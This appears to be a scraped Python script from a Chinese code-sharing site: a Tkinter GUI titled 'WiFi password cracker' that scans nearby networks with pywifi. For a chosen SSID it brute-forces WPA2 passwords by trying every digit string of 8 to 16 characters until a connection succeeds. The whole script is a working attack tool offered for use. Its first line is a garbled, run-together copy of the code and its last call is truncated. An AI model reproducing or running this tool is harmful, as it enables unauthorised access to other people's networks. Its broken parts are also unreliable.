import itertoolsimport pywififrom pywifi import constimport timeimport tkinter as tkwifi = pywifiPyWiFiifaces = wifiinterfaces0def wifiConnectpwd ssid ifacesdisconnect wifistatus = ifacesstatus
import itertools import pywifi from pywifi import const import time import tkinter as tk from threading import Thread
wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0]
def wifiConnect(pwd, ssid): ifaces.disconnect() wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: profile = pywifi.Profile() profile.ssid = ssid profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd ifaces.remove_all_network_profiles() tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(0.3) return ifaces.status() == const.IFACE_CONNECTED
def generate_passwords(words, min_length, max_length): for length in range(min_length, max_length+1): for password in itertools.product(words, repeat=length): yield ''.join(password)
def readPassword(ssid): print("开始破解:") words = '123456789' min_length = 8 max_length = 16 passwords = generate_passwords(words, min_length, max_length) for password in passwords: if wifiConnect(password, ssid): print("wifi密码为 ", password) return password else: print("密码破解中....密码校对: ", password)
def selectWifi(): ifaces.scan() time.sleep(5) result = ifaces.scan_results() ssid_list = [res.ssid for res in result]
def connectWifi():
selected_ssid = ssid_var.get()
Thread(target=readPassword, args=(selected_ssid,)).start()
window = tk.Tk()
window.title("WiFi密码破解器")
window.geometry("300x300")
ssid_var = tk.StringVar()
ssid_var.set(ssid_list[0])
ssid_label = tk.Label(window, text="请选择你要连接的WiFi:", fg="blue")
ssid_label.config(font=("Arial", 12), bg="gold")
ssid_label.pack()
ssid_label.place(x=60, y=10)
ssid_label1 = tk.Label(window, text="WiFi名称:")
ssid_label1.config(font=("Arial", 12), bg="light green")
ssid_label1.pack()
ssid_label1.place(x=5, y=42)
ssid_option = tk.OptionMenu(window, ssid_var, *ssid_list)
ssid_option.config(width=15, bg="light blue")
ssid_option.pack()
ssid_option.place(x=80, y=40)
connect_button = tk.Button(window, text="获取密码", command=connectWifi, width=30, height=2, fg="purple")
connect_button.config(bg="light yellow")
connect_button.pack()
connect_button.place(x=40, y=200)
password_label = tk.Label(window, text="", fg="green")
password_label.config(font=("Arial", 10))
password_label.pack()
password_label.place(x=5, y=250)
window.mainloop()
selectWifi(
原文地址: https://www.cveoy.top/t/topic/iEN7 著作权归作者所有。请勿转载和采集!